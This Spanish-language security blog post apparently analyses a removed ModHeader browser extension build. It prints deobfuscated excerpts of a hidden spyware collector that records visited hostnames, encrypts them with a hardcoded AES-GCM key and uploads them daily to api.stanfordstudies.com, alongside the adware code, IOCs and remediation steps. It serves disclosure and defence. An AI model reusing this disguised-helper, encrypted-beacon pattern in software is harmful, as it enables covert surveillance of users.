ModHeader Malware: Inside the Chrome Spyware Google Removed

Última actualización julio 12, 2026 • 17 min read • 195 views

Más de 800.000 personas confiaban en esta extensión. Hasta que una mañana, Chrome la desactivó y la marcó como malware. Google no dio ninguna razón. No hubo ni una nota sobre qué hacía la extensión, ni sobre qué datos estaban en riesgo.

Esa extensión es ModHeader, una popular herramienta para desarrolladores que reescribe cabeceras HTTP en cada sitio que visitas. Así que un flag de malware aquí es un asunto serio. Como respuesta, recuperamos del disco el build eliminado y le hicimos ingeniería inversa. Este análisis del malware de ModHeader recorre el caso completo: el pipeline oculto, el análisis forense y los indicadores de compromiso.

TL;DR

Primero, la versión corta. Los detalles vienen después.

Qué: Un build de ModHeader (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) llevaba un SDK de spyware oculto. Cabe destacar que ese ID es la ficha oficial de ModHeader, y los archivos llevaban firmas de la Chrome Web Store.
Comportamiento: Recolecta los dominios que visitas. Luego cifra la lista con AES-GCM. Finalmente, hace un POST con los datos una vez al día a api.stanfordstudies.com/app/log.
Escondite: Los helpers maliciosos viven en un archivo llamado dayjs.min-*.js. Es decir, el payload se hace pasar por una librería de fechas.
Estado: El colector se distribuye latente, detrás de una allowlist vacía ($w = []). Aun así, el endpoint, la clave y el scheduler están todos presentes.
Comando y control: No hay ninguno que monitorizar. La subida es unidireccional, así que el servidor no puede enviar comandos de vuelta.
También adware: Además del spyware, abre una pestaña de anuncios en cada actualización y muestra anuncios in-app. Ese comportamiento se dispara incluso en máquinas de empresa gestionadas.
Alcance: ModHeader tiene más de 800.000 usuarios en Chrome, más una base considerable en Edge. Como el payload viaja en la ficha oficial, toda la base instalada está dentro del alcance.
Reconocimiento: El host de exfiltración se esconde detrás de una fachada falsa de "Stanford Studies - Research" y un buzón de correo en Lark. Además, varias señales débiles apuntan a un operador de habla china.
Forense: En la máquina analizada, el spyware nunca llegó a activarse. Sin embargo, la extensión había acumulado localmente las cabeceras HTTP completas de toda la navegación.

Sigue leyendo para ver cómo llegamos a cada uno de estos hallazgos.

Contexto: por qué importa un flag de malware en ModHeader

ModHeader es una herramienta popular. Los desarrolladores la usan para modificar cabeceras HTTP de peticiones y respuestas. Por eso necesita acceso amplio a tu tráfico. Ese acceso es normal para su función. Pero también convierte a la extensión en un objetivo de alto valor.

Una extensión de confianza marcada como malware es el caso interesante. O un clon está usando la marca, o una extensión de confianza ahora lleva un payload inyectado. Ambos patrones aparecen a menudo en ataques de cadena de suministro contra extensiones de navegador. Por eso, este análisis del malware de ModHeader trata el flag como una pista, no como un veredicto.

Dónde viven los archivos

La extensión eliminada seguía en el disco. La ruta exacta depende de tu navegador y sistema operativo. En Chrome, mira aquí:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge distribuye el mismo payload bajo un ID distinto. Así que revisa ahí también:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader no está publicado en Firefox, así que no hay add-on de Mozilla que revisar.

Primer vistazo: manifest y permisos

Empezamos por el manifest. Los permisos te muestran el radio de impacto rápidamente.

// manifest.json (recortado)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@@",                       // nota la errata
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

El conjunto de permisos es amplio. Incluye <all_urls>, webRequest, declarativeNetRequest, scripting y un content script en cada página. Para una herramienta de cabeceras, ese alcance es esperable. Aun así, significa que un build malicioso ya es dueño de tu tráfico web. Curiosamente, el campo author dice modhader@@. Esa errata se repite en el código como modhader-tool-root.

La pista: un dominio que no es del vendor

Después, extrajimos todos los literales de URL de los bundles. Es el paso de triaje más rápido para código ofuscado.

┌──(kali㉿kali)-[~]

└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

La mayoría de los resultados apuntan a modheader.com, el vendor real. Sin embargo, un host destaca por estar fuera de lugar:

https://api.stanfordstudies.com/app/log

Un dominio de "Stanford studies" no pinta nada dentro de una herramienta de cabeceras. Además, /app/log es una ruta de ingesta genérica. Así que ese fue el hilo del que tirar. Vive en un solo archivo: assets/src/background-94ad634d.js.

Ofuscación: el malware de ModHeader escondido dentro de un falso `dayjs`

El payload importa sus helpers de lo que parece la librería de fechas.

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

Pero esos exports no tienen nada que ver con fechas. Son helpers operativos del spyware.

// dentro del archivo llamado dayjs.min-*.js
const cl = () => {                                   // exportado como sf  ->  id del navegador
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exportado como af -> extraer host
const hl = h => new Promise(i => setTimeout(i, h));                     // exportado como u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exportado como Za -> medianoche

Esto es una distracción deliberada. Un revisor echa un vistazo a los imports, ve "dayjs" y sigue adelante. Como consecuencia, los helpers del malware de ModHeader pasan la revisión a plena vista.

Cómo funciona el pipeline de exfiltración del malware de ModHeader

El diagrama de abajo muestra el flujo completo, desde la navegación hasta la subida. Todos los símbolos son los nombres minificados reales. Tras cada bloque sigue pseudocódigo desofuscado.

Pipeline de exfiltración del malware de ModHeader: recolección de dominios, cifrado AES-GCM y subida diaria a api.stanfordstudies.com

Paso 1: identidad y material criptográfico

Primero, el payload configura una clave, un endpoint y un fingerprint.

let qo; // la CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // allowlist de navegadores  (vacía -> latente)
const Yw = "mod盐header";    // salt del fingerprint, nota el carácter CJK 盐 ("sal")

const Hw = async () => {    // fp = SHA-256(hora actual como string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

Aquí importan dos cosas.

El "cifrado" es ofuscación, no protección. La clave AES-GCM se distribuye en claro. Por tanto, cualquiera con la extensión puede descifrar el payload. Su único trabajo es ocultar el body de una inspección de red casual.
El fingerprint es un ID de seguimiento estable. Es SHA-256(Date.now()). El código lo genera una vez y luego lo guarda. En la práctica, actúa como un identificador persistente aleatorio.

Paso 2: recolectar el host de cada navegación

Después, el colector registra dominios. Los indexa por un valor cifrado.

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // cifra el hostname con AES-GCM
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // dominio-cifrado -> contador de visitas
  await Qw(domainDB, settingDB, aesIv);              // quizá subir
}

Así, el store mapea cada hostname cifrado a un contador. En resumen, el operador sabe qué sitios visitas y con qué frecuencia. Las URLs completas y las rutas no se recolectan aquí. Solo el host.

Paso 3: la subida diaria, con jitter por fingerprint

Luego el código decide cuándo enviar. Sube como máximo una vez al día. Además, espera a una hora fija que es única para tu fingerprint.

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // digest decimal
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hora en [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // solo después de la hora de esta instalación
}

Este jitter es ingenioso. Cada víctima sube a una hora distinta. En consecuencia, el tráfico es más difícil de detectar en un monitor de red. Tras un envío exitoso, el código limpia el store local para borrar la evidencia.

Paso 4: el kill switch es una allowlist vacía

Por último, toda la cadena cuelga del ciclo de vida de las pestañas. Sin embargo, una comprobación la frena en seco.

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- la puerta
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // registra el dominio
}

Aquí $w está vacía. Por tanto, $w.indexOf(browser) siempre es -1. Como resultado, la comprobación siempre retorna y Zw nunca se ejecuta. En este build el colector está presente pero latente. Como $w es una constante hardcodeada, activarlo requiere una versión nueva. Es decir, el disparador real es un auto-update.

Lo que el malware de ModHeader no hace

Ser preciso sobre lo que no está también importa. Así que buscamos los peores comportamientos y no los encontramos.

Sin ejecución remota de código. No hay eval, ni abuso de new Function, ni import("https://...").
Sin robo de credenciales en la ruta de exfiltración. La subida lleva hostnames, el fingerprint y el tipo de navegador. No envía cookies ni contenido de páginas.
Las cookies solo se miden, no se envían. Una rutina de métricas lee document.cookie.length para una UI de estimación de almacenamiento. El valor de la cookie nunca sale de la página.
Las cabeceras capturadas se quedan en local. Los listeners de cabeceras escriben en el almacenamiento local para la vista de historial de la propia extensión.

También era adware: pestañas de anuncios en cada actualización

El spyware estaba latente. El adware no. Los usuarios reportaron que se abrían pestañas de anuncios una y otra vez, incluso en máquinas de empresa bloqueadas. El código explica por qué.

En cada actualización, la extensión fuerza la apertura de una nueva pestaña activa hacia una red de afiliados.

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... también fija una uninstall URL que hace ping a extensions-hub.com ...
  if (r.reason === "install") {
    // la pestaña de install solo se abre cuando no hay perfiles gestionados (enterprise)
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // aquí no hay tal comprobacion, asi que esto se dispara en CADA update, maquinas gestionadas incluidas
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

Dos cosas destacan.

Cada actualización genera una pestaña. Las extensiones se actualizan en silencio y a menudo. Así que la pestaña de anuncios vuelve una y otra vez, lo que coincide con los reportes.
Las máquinas de empresa no se libran. La pestaña de install se omite cuando existen perfiles gestionados. Sin embargo, la pestaña de update no tiene esa comprobación. Por tanto, los despliegues corporativos igual reciben las pestañas de anuncios.

Hay un segundo canal de anuncios dentro de la propia extensión. El popup obtiene la configuración de anuncios del vendor, y puede mostrar o cerrar anuncios.

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

La UI incluso deletrea el modelo: "Pausando anuncios temporalmente. Para eliminar los anuncios de forma permanente, considera Actualizar a un plan de pago, o Bajar a un plan limitado para no recibir anuncios."

Así que la extensión incluía adware declarado sobre el spyware encubierto. Los dos son cosas separadas. El adware es visible y molesto, mientras que el spyware es silencioso. Juntos explican tanto las quejas de los usuarios como el flag de malware.

Forense: ¿el malware de ModHeader llegó a activarse alguna vez?

El IndexedDB de la extensión sobrevivió a la eliminación. Pesaba unos 178 MB.

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

Así que lo escaneamos en busca de marcadores de subida.

┌──(kali㉿kali)-[~]

└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

Los resultados fueron claros:

stanfordstudies devolvió cero coincidencias en los 178 MB completos.
lastUploadDate y uploadRecord devolvieron cero coincidencias.
El store de dominios temp estaba efectivamente vacío.

Por tanto, en este perfil, el colector nunca registró un dominio y nunca subió nada. Eso encaja exactamente con la puerta latente $w = []. En resumen, tu lista de dominios visitados no salió de la máquina.

La sorpresa de los 178 MB: un almacén local de cabeceras

Sin embargo, algo sí llenó 178 MB. La propia función de "historial" de la extensión almacenaba las cabeceras completas de petición y respuesta de cada página. Las claves dominantes eran requestHeaders, responseHeaders, details y tabStartTime.

Estos datos nunca salieron del disco. Aun así, son sensibles en reposo. Las cabeceras suelen contener tokens de Authorization, cookies de sesión y URLs internas. Así que deberías borrar este store, se haya activado el spyware o no.

¿Dónde está el comando y control?

Muchos lectores hacen una pregunta razonable. ¿Hay un canal de C2 que monitorizar? En resumen, no.

La subida es estrictamente unidireccional. El body de la respuesta del fetch nunca se lee. No hay .json(), ni .text(), ni comprobación de .ok sobre la respuesta. Además, las constantes operativas están hardcodeadas y nunca se reasignan desde un servidor. Por tanto, api.stanfordstudies.com es un buzón de entrega (drop box), no un controlador. No puede dar órdenes a la extensión.

El verdadero canal de control es el auto-update de la extensión. Para activar el colector latente, un operador tiene que publicar una versión nueva. Ese es exactamente el vector que las stores neutralizan cuando retiran una extensión.

Reconocimiento del dominio: ¿este endpoint del malware de ModHeader es realmente malicioso?

No nos quedamos en el código. También perfilamos el dominio de exfiltración con reconocimiento pasivo y activo. Esto es lo que revela la propia infraestructura.

`api.stanfordstudies.com` es un endpoint de exfiltración disfrazado

Primero, el nombre es engañoso. La fachada pública en www.stanfordstudies.com lleva el título "Stanford Studies - Research". Sin embargo, no tiene ningún vínculo con la Universidad de Stanford. Además, la página es un cascarón vacío. No hay organización de investigación, ni política de privacidad, ni contacto. En contraste, un estudio legítimo de recolección de datos publica las tres cosas.

Segundo, el host de la API se comporta como un buzón de entrega, no como un sitio web.

El dominio se creó el 2022-05-09 a través de Squarespace. Su WHOIS está oculto por privacidad.
Su correo pasa por larksuite.com (Lark / Feishu). Esto apunta a un operador de habla china. Cabe notar que encaja con el string 盐 ("sal") incrustado en el código.
api.stanfordstudies.com resuelve a un único host EC2 de AWS (3.147.61.167, región us-east-2).
Un probe a la dirección raíz dio timeout. Por tanto, el host solo responde en su ruta de ingesta, no a tráfico web normal.
Por último, urlscan.io tiene registros del endpoint exacto api.stanfordstudies.com/app/log. También tiene escaneos del host que se remontan a noviembre de 2023.

En conjunto, esto es un endpoint de ingesta encubierto disfrazado de investigación académica. Por eso lo calificamos de malicioso.

De dónde viene la infraestructura

Luego rastreamos el hosting y su historia. El resultado es un montaje de componentes comunes, protegido por privacidad, con un pasado más largo del que sugiere su papeleo.

Host. El endpoint corre en una única instancia AWS EC2, 3.147.61.167, con DNS inverso ec2-3-147-61-167.us-east-2.compute.amazonaws.com. Eso lo sitúa en AWS us-east-2 (Columbus, Ohio, AS16509 Amazon).
Más viejo de lo que parece. WHOIS indica una fecha de creación en 2022. Sin embargo, la transparencia de certificados muestra certificados para el dominio ya desde 2017. Así que el nombre es anterior al registro actual.
Sigue vivo. El certificado más nuevo se emitió en marzo de 2026. Mientras tanto, urlscan.io registró el endpoint /app/log a lo largo de 2025 y de nuevo en julio de 2026.
Una operación real. Más allá de api y www, el dominio expone los subdominios dev, devlog y devos. Eso es un montaje de dev y ops mantenido, no algo desechable.

Aun así, el WHOIS del registrador está protegido por privacidad, y los servidores están en rangos compartidos de AWS. Por tanto, el rastro se queda a un paso de un nombre.

Contexto de cadena de suministro: este es el ID oficial de ModHeader

Un detalle sube la apuesta. El ID de extensión idgpnmonknjnojddfkpgkljpfnnfcklj es la ficha oficial de ModHeader, que sirve a más de 800.000 usuarios. Además, el build venía con firmas de la Chrome Web Store (_metadata/verified_contents.json). Como Chrome se niega a ejecutar archivos manipulados, el código analizado es la distribución firmada, no un clon modificado en local.

Sin embargo, con solo el binario no podemos probar quién añadió el payload. Podría reflejar una transferencia de propiedad, un SDK de monetización inyectado o una decisión del vendor. Ese patrón está bien documentado en la industria. Así que presentamos la evidencia y dejamos abierta la cuestión de la autoría.

Veredicto por dominio

Dominio	Rol en el malware de ModHeader	Infraestructura	Veredicto
`api.stanfordstudies.com`	Ingesta de la recolección cifrada de dominios	AWS EC2, raíz inalcanzable, disfraz de "Stanford", correo en Lark	Malicioso
`www.extensions-hub.com`	Adware: pestaña de anuncios abierta en cada actualización	AWS S3 + CloudFront, SaaS de afiliados, compartido entre extensiones	Adware invasivo de la privacidad
`modheader.com`	Sync en la nube del vendor (mostrado como contraste)	AWS + Google Workspace, transparente	Legítimo

Alcance y atribución: ¿quién está expuesto y quién está detrás?

Cuántos usuarios están expuestos

El radio de impacto es grande, porque esta es la ficha principal. Además abarca dos navegadores.

Chrome: más de 800.000 instalaciones, publicada como "ModHeader".
Edge: la misma extensión se distribuye bajo el ID opgbiafapkbbnbnjcdomjaghbckfkglc, con una base de instalación considerable propia. Microsoft la retiró de la store de Edge Add-ons el 2026-07-03.
Firefox: no existe un add-on oficial de ModHeader, así que los usuarios de Firefox no están afectados.
Valoración: 2,91 estrellas con 1.226 votos. Eso es inusualmente bajo para una herramienta de desarrollo veterana.
Idiomas listados: inglés y chino simplificado (zh-CN).
Última actualización de la ficha: 2026-07-01, que coincide con el build v7.0.18 analizado.

La valoración baja no es casualidad. Reseñas recientes ya señalan a la extensión por comportamiento de adware y anuncios de afiliados. Sin embargo, esos anuncios están declarados, y la extensión ofrece un opt-out. Por tanto, son una queja aparte y visible. El colector de stanfordstudies.com es lo contrario. Es encubierto, va cifrado y no ofrece ni aviso ni opt-out. Así que no confundas las dos cosas: los anuncios declarados son un problema de confianza, mientras que la recolección oculta de dominios es el spyware de verdad.

Señales del actor de amenazas (confianza baja)

Solo podemos esbozar al operador a grandes rasgos. Es importante: no nombramos a ningún grupo, y ninguna de estas señales es una prueba.

Correo en Lark. El dominio de exfiltración enruta su correo por larksuite.com (Lark / Feishu), una suite común entre equipos de habla china.
Un string en chino en el código. El salt del fingerprint incrusta el carácter 盐, que significa "sal".
Superficie en idioma chino. La ficha incluye un locale de chino simplificado, y el content script tiene un caso especial para baidu.com.
Una fachada de bandera falsa. La página de "Stanford Studies" toma prestado el nombre de una universidad estadounidense de confianza. Claramente, eso es distracción, no una afiliación real.

En conjunto, estas señales apuntan débilmente a un operador de habla china. Aun así, la infraestructura está en AWS y el WHOIS está oculto por privacidad. Por tanto, no podemos vincularlo a un actor con nombre solo con fuentes abiertas.

Evaluación de impacto

Este es el riesgo de un vistazo.

Vector	Estado en v7.0.18	Datos expuestos	Severidad
Recolección de dominios hacia `stanfordstudies.com`	Latente; nunca se activó	Hostnames visitados, fingerprint, navegador	Capacidad alta
Pestañas de anuncios + anuncios in-app	Activo	Nueva pestaña en cada actualización, incl. máquinas gestionadas	Media (no deseado)
Historial local de cabeceras	Activo, solo local	Cabeceras completas de toda la navegación	Media en reposo
Alcance de los permisos	Vigente	Leer/modificar todo el tráfico HTTP	Potencial alto

En términos llanos, en esta máquina no se exfiltró nada. Pero el malware de ModHeader incluía un pipeline de spyware completo, con clave y endpoint listos. Estaba a un cambio de código de estar activo. Mientras tanto, almacenaba localmente datos sensibles de cabeceras. Esa combinación es base suficiente para una retirada.

Detección y remediación

Si eres un usuario afectado

Sigue estos pasos en orden.

Confirma que el navegador desactivó la extensión. Chrome y Edge suelen hacerlo automáticamente.
Borra los directorios de almacenamiento residuales listados abajo.
Bloquea y registra en logs el DNS de api.stanfordstudies.com.
Reinstala una herramienta de cabeceras solo desde una fuente de confianza.

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

En Edge, las mismas carpetas viven bajo Microsoft Edge/ en lugar de Google/Chrome/, y el ID de la extensión es opgbiafapkbbnbnjcdomjaghbckfkglc.

Si defiendes una flota

Usa estos hunts y heurísticas.

Haz grep en los directorios de extensiones desempaquetadas buscando los strings IOC de abajo.
Alerta sobre cualquier extensión que haga POST de un body opaco y cifrado a un dominio que no sea del vendor.
Marca como code smell los helpers operativos exportados desde un archivo de librería vendorizada.

Indicadores de compromiso

Usa estos IOCs para cazar el mismo SDK del malware de ModHeader en otros lugares.

Red

api.stanfordstudies.com          (exfil de spyware: POST /app/log)
www.extensions-hub.com           (adware: pestaña de anuncios en cada actualización)
modheader.com/api/ad-settings    (adware: config de anuncios in-app)

Extensión

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

Strings estáticos

Clave AES-GCM hardcodeada : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Salt del fingerprint      : mod盐header   (contiene U+76D0 盐)
Endpoint de exfiltración  : https://api.stanfordstudies.com/app/log

Archivos (hashes de Vite de este build)

assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (helpers disfrazados)

Mapa de símbolos

Como referencia, este es el mapa de nombre minificado a significado.

Minificado	Significado
`qw`	URL de exfiltración `api.stanfordstudies.com/app/log`
`$w`	puerta de allowlist de navegadores (vacía = latente)
`Yw`	salt del fingerprint `mod盐header`
`qo`	clave AES-GCM importada
`Hw`	`fp = SHA-256(Date.now())`, ID de instalación
`Zw`	registra un dominio visitado
`Qw`	decisión de subida + limpieza tras éxito
`zw`	puerta horaria por fingerprint
`sf` / `af` / `Za` / `u0`	id del navegador / host / medianoche / sleep

Lecturas adicionales

Para un contexto más amplio sobre cómo las extensiones de confianza se vuelven hostiles, consulta los siguientes informes externos.

Este análisis es estático más forense en disco de un único build instalado. No afirmamos ninguna atribución. Si puedes confirmar si la Web Store oficial sirvió exactamente este build, ponte en contacto con HackIndex Research.